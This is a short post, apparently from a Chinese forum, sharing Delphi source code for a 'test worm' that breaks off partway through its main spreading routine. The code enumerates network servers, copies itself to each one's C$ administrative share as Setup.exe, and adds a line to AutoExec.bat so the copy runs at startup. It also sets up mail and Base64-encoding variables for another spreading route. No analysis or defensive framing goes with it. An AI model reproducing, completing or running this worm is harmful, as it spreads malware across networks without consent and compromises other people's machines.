xin蠕虫.txt

新出现的一种蠕虫代码~~大家看看~~~当然

Uses Windows, Winsock; 
 TYPE 
   Triple = ARRAY[1..3] OF BYTE; 
   Quad   = ARRAY[1..4] OF BYTE; 

// Message 
Const 
 Mess : String = 'This is test worm'; 

Var 
// Network string 
 Domains      : String; 
// Mail String 
 Mails        : String; 
//Base 64 Encode 
 Buf          : Array[0..255] Of Char; 
 FileBuf      : Array[0..1000000] Of Byte; 
 CC           : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; 

 // Lowercase Function. 
 Function LowerCase(const S: string): string; 
 var 
  Len: Integer; 
 begin 
  Len := Length(S); 
  SetString(Result, PChar(S), Len); 
  if Len > 0 then CharLowerBuff(Pointer(Result), Len); 
 end; 

 Function FileSize(FileName: String): Int64; 
 Var 
   H: THandle; 
   FData: TWin32FindData; 
 Begin 
   Result:= -1; 

   H:= FindFirstFile(PChar(FileName), FData); 
   If H <> INVALID_HANDLE_VALUE Then 
   Begin 
     Windows.FindClose(H); 
     Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow; 
   End; 
 End; 

 Function ExtractFileName(Str:String):String; 
 Begin 
  While Pos('\', Str)>0 Do 
   Str := Copy(Str, Pos('\',Str)+1, Length(Str)); 
  Result := Str; 
 End; 

 // FileExists Function. 
 function FileExists(const FileName: string): Boolean; 
 var 
   Handle: THandle; 
   FindData: TWin32FindData; 
 begin 
   Handle := FindFirstFileA(PChar(FileName), FindData); 
   result:= Handle <> INVALID_HANDLE_VALUE; 
   if result then 
   begin 
     CloseHandle(Handle); 
   end; 
 end; 

 // Network Spread Function 
 procedure Enumeration(aResource:PNetResource); 
 var 
    aHandle: THandle; 
    k, BufferSize: DWORD; 
    Buffer: array[0..1023] of TNetResource; 
    i: Integer; 
 begin 
    WNetOpenEnum(2,0,0,aResource,aHandle); 
    k:=1024; 
    BufferSize:=SizeOf(Buffer); 
    while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do 
    for i:=0 to k-1 do 
    begin 
     if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then 
      // Put all found domains in DOMAINS string. public declared. 
      Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10; 
     if Buffer[i].dwUsage>0 then 
   Enumeration(@Buffer[i]) 
  end; 
    WNetCloseEnum(aHandle); 
 end; 

 // Here is the main procedure. 
 Procedure Network; 
 Var 
  Name : String; 
  Auto : TextFile; 
 Begin 
  // first of course enumerate the domains. 
  Enumeration(NIL); 
  // while domains aint NOTHING we grab out domains. (look liks : NAME#13#10NAME#13#10) :D 
  While Domains <> '' Do Begin 
   // strip out name 
   Name := Copy(Domains, 1, Pos(#13#10, Domains)-1); 
   // try, MIGHT fuck so better TRY. 
   Try 
    // COPY TO C!! 
    CopyFile(pChar(ParamStr(0)), pChar(Name + '\C$\Setup.exe'), False); 
    // modify autoexec so it launches setup.exe automaticly 
    If FileExists(pChar(Name + '\C$\AutoExec.bat')) Then Begin 
     AssignFile(Auto, Name + '\C$\AutoExec.bat'); 
     Append(Auto); 
     WriteLn(Auto, 'Setup.exe'); 
     CloseFile(Auto); 
    // where done, so lets go 
    End; 
   Except 
    ; 
   End; 
   Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));